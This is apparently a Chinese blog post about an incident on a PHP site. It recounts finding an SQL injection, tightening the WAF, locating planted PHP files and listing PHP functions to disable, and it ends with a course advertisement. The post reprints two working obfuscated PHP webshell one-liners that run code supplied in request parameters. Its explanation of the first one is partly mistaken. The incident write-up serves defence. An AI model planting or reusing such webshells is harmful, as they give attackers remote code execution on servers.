一次與sql注入 & webshell 的美麗「邂逅」

引言

 一波未平，一波又起。金融公司的業務實在是太引人耳目，況且咱們公司的業處正處於風口之上（區塊鏈金融），而且天天有大量現金交易，因此不知道有多少黑客躲在暗處一直在盯着你的系統，讓你防不勝防，而且千方百計的找到突破點，以達到黑客的目的來獲取非法利益。

俗話說：「道高一尺，魔高一丈」。系統和代碼也能夠這麼理解，防的在好，總有漏洞。系統和代碼也沒有絕對的安全。該來的總會來......

sql注入與「她」相遇

某一天，天氣晴朗，心情舒暢。「她」來了，打破了筆者的美好時光。下午2點多鐘，筆者和朋友在蘇州街的天使匯二樓極客咖啡參加某個雲廠商的Kubernetes一場技術沙龍，正聽得興致勃勃的時候，筆者的公司羣裏有個php開發忽然帖出一張圖：

 這個時候，羣裏翻騰了。沒錯，被SQL注入了，數據庫的表被注入了字段，而且經檢查後，發現這個庫中的大部分表都被注入了這個字段。個人電腦沒帶在身邊，真是着急，立刻跟總監說明問題嚴重性。因爲我電腦不在身邊， 只能把數據庫帳號受權（讀寫權限）給那個php開發，讓他檢查全部的表，把被注入的字段刪除掉。並查看數據和其它表有沒有被修改。好在發現急時，數據和業務都沒有被丟失和損壞。

 這裏我要說明一下，咱們的業務都在阿里雲，項目是以php爲主，而且開通了waf防火牆，只是waf上的防禦措施比較寬鬆。筆者在安全方面的經驗也比較欠缺，好在開通了阿里雲的WAF，讓筆者在排查和防禦上也變得輕鬆和快捷。

 此時，我已經在回家的路上，回到家中迅速打開電腦。

調整waf策略

因爲筆者也是剛接手工做，阿里雲上的不少策略還沒獲得及時調整。因此才這麼容易被攻進來。即然被注入了，確定要源給揪出來。我也在次把全部的表都檢查一遍，確認沒問題後，在去調整waf策略，進入阿里雲。

一、進入相關域名的防禦配置，咱們先來看下調整前的策略，以下圖：

從上圖能夠看出，「Web應用攻擊防禦」策略是寬鬆模式，其主要做用就是防禦SQL注入、XSS跨站等常見Web應用攻擊，寬鬆模式下對業務的誤報程度最低，但也容易漏過攻擊。「惡意IP懲罰」也沒啓用。這麼寬鬆的防禦措施風險比較大。趕忙先調整吧。

二、調整後的策略（若有多個域名，都調整過來），以下圖：

查找可疑文件

此時，php的項目源碼分佈在好幾臺服務器上，若是靠傳統方式去排查，挨個檢查這些服務器的目錄，各類能用的命令都用上了，是否是也挺費勁費時的，還不知道要查到啥時候。這個時候，阿里有項服務起到關鍵的做用了「態勢感知」，這個須要升級爲企業版本（費用不高，咱們公司開通了一年，費用6000多塊）。這就是用阿里的好處（不是打廣告），確實讓你省心。
一、進入「態勢感知」查看一下，就立馬發現了一堆異常行爲，遍及在好幾臺服務器上以下圖：

二、點幾個異常行爲進入看看，我就打開其中兩個行爲看一下，其它的行爲也都差很少，以下圖：

從命令行參數中能夠看出相關目錄有/Mode/Lite/ ，而且給出的解決方案是及時排查可疑目錄下的信息並及時清除。筆者順着給出的提示在服務器上進行 find 相關目錄，查找出目錄所在路徑，以下圖：

順藤摸瓜吧，列一下這個目錄的文件：

從上圖發現了有兩個異常的php文件，目錄屬主也和其它文件不同，筆者打開代碼倉庫也進入相同的目錄進行比對，代碼倉庫中確實沒有這兩個文件。爲了確認清楚，把這兩個文件down下來發給開發。開發說項目中沒有這兩個文件。把它down下來打開文件看看：

Content.class.php文件內容：

<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>
}複製代碼

這代碼不就是被注入的表裏的字段嗎，上面這段代碼大概意思爲：把post請求的兩個參數，一個用base64解密，一個用hex2bin轉成16進制，而後拼接在一塊兒，應該是把操做數據庫的語句加密傳過來，而後解密，這樣就不會被攔截掉。若是哪位博友認爲解釋的有誤，必定要提出來。

Lite.class.php文件內容：

<?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){
    $page = $_REQUEST['error'];
    $limit = $_REQUEST['limit'];
    $func = base64_decode(str_rot13(strrev($limit)));
    $func(base64_decode(str_rot13(strrev($page))));
    exit;複製代碼

上面的代碼其實和以前的那段代碼有共性，反轉字符串而後ROT13 編碼，而後base64解碼，最後按照 PHP 代碼來計算，至於base64_decode，str_rot13，strrev是爲了繞過WAF等安全設備的過濾。

已經很明顯了，就是由上面這些代碼文件Content.class.php等文件給注入的。不用想了：rm -rf 吧。這個動態感知仍是挺好用的，能快速定位到風險目錄，讓你減小排查的時間和精力。

爲了保險起見，繼續排查一下其它的目錄是否也存在可疑文件，必定要排查乾淨了，操做必定要當心，也別誤刪，果真在同級目錄下又發現一個，以下圖：

還有一個，以下圖：

和代碼倉庫、開發的對比，能夠肯定這兩個也是黑客傳進來的可疑文件，我有一個習慣，刪除文件以前喜歡備份到本地。備份好這些可疑文件到本地之，都完全清除掉。

雖然都清除掉了，waf防火牆也調整了，可是也沒有絕對的安全，還須要把php這些危險的函數禁用掉，好比禁用phpinfo、exec()、system()等：

phpinfo()
功能描述：輸出 PHP 環境信息以及相關的模塊、WEB 環境等信息。
危險等級：中

passthru()
功能描述：容許執行一個外部程序並回顯輸出，相似於 exec()。
危險等級：高

exec()
功能描述：容許執行一個外部程序（如 UNIX Shell 或 CMD 命令等）。
危險等級：高

system()
功能描述：容許執行一個外部程序並回顯輸出，相似於 passthru()。
危險等級：高

chroot()
功能描述：可改變當前 PHP 進程的工做根目錄，僅當系統支持 CLI 模式
PHP 時才能工做，且該函數不適用於 Windows 系統。
危險等級：高

scandir()
功能描述：列出指定路徑中的文件和目錄。
危險等級：中

chgrp()
功能描述：改變文件或目錄所屬的用戶組。
危險等級：高

chown()
功能描述：改變文件或目錄的全部者。
危險等級：高

shell_exec()
功能描述：經過 Shell 執行命令，並將執行結果做爲字符串返回。
危險等級：高

proc_open()
功能描述：執行一個命令並打開文件指針用於讀取以及寫入。
危險等級：高

proc_get_status()
功能描述：獲取使用 proc_open() 所打開進程的信息。
危險等級：高

ini_alter()
功能描述：是 ini_set() 函數的一個別名函數，功能與 ini_set() 相同。
具體參見 ini_set()。
危險等級：高

ini_set()
功能描述：可用於修改、設置 PHP 環境配置參數。
危險等級：高

ini_restore()
功能描述：可用於恢復 PHP 環境配置參數到其初始值。
危險等級：高

dl()
功能描述：在 PHP 進行運行過程中（而非啓動時）加載一個 PHP 外部模塊。
危險等級：高

pfsockopen()
功能描述：創建一個 Internet 或 UNIX 域的 socket 持久鏈接。
危險等級：高

symlink()
功能描述：在 UNIX 系統中創建一個符號連接。
危險等級：高

popen()
功能描述：可經過 popen() 的參數傳遞一條命令，並對 popen() 所打開的文件進行執行。
危險等級：高

putenv()
功能描述：用於在 PHP 運行時改變系統字符集環境。在低於 5.2.6 版本的 PHP 中，可利用該函數
修改系統字符集環境後，利用 sendmail 指令發送特殊參數執行系統 SHELL 命令。
危險等級：高

禁用方法以下：
打開/etc/php.ini文件，查找到 disable_functions ，添加需禁用的函數名，以下：
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen複製代碼

趁着此次事件，把其它服務器也一併排查一下吧，須要點耐心慢慢排查，黑客把這些可疑文件假裝的很是好，繞過了waf牆，人的肉眼不仔細看它都看不出來，因此仍是要本身細心一點幹活。

須要聲明一下：每一個人的作事方式都不同，本文只是把筆者遇到的事件分享給你們，僅做爲交流和學習。

名詞解釋

sql注入：

所謂SQL注入，就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。具體來講，它是利用現有應用程序，將（惡意的）SQL命令注入到後臺數據庫引擎執行的能力，它能夠經過在Web表單中輸入（惡意）SQL語句獲得一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。 好比先前的不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的，這類表單特別容易受到SQL注入式攻擊．

webshell：

webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境，也能夠將其稱作爲一種網頁後門。黑客在入侵了一個網站後，一般會將asp或php後門文件與網站服務器WEB目錄下正常的網頁文件混在一塊兒，而後就可使用瀏覽器來訪問asp或者php後門，獲得一個命令執行環境，以達到控制網站服務器的目的。
顧名思義，「web」的含義是顯然須要服務器開放web服務，「shell」的含義是取得對服務器某種程度上操做權限。webshell經常被稱爲入侵者經過網站端口對網站服務器的某種程度上操做的權限。因爲webshell其大可能是以動態腳本的形式出現，也有人稱之爲網站的後門工具。

安全防範小結

概括一下，主要有如下幾點：
1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗，能夠經過正則表達式，或限制長度；對單引號和雙"-"進行轉換等。

2.永遠不要使用動態拼裝sql，可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.永遠不要使用管理員權限的數據庫鏈接，爲每一個應用使用單獨的權限有限的數據庫鏈接。
4.不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出儘量少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
6.sql注入的檢測方法通常採起輔助軟件或網站平臺來檢測，軟件通常採用sql注入檢測工具jsky，網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS能夠有效的防護SQL注入，XSS攻擊等。

在這裏呢小編給你們推薦一個免費提高Java技術學習好地方，課程涵蓋了Java、Redis、MongoDB、MySQL、Zookeeper、Spring Cloud、Dubbo/Kafka、Hadoop、Hbase、Flink等高併發分佈式、大數據、機器學習等技術。

轉送門：ke.qq.com/course/2931…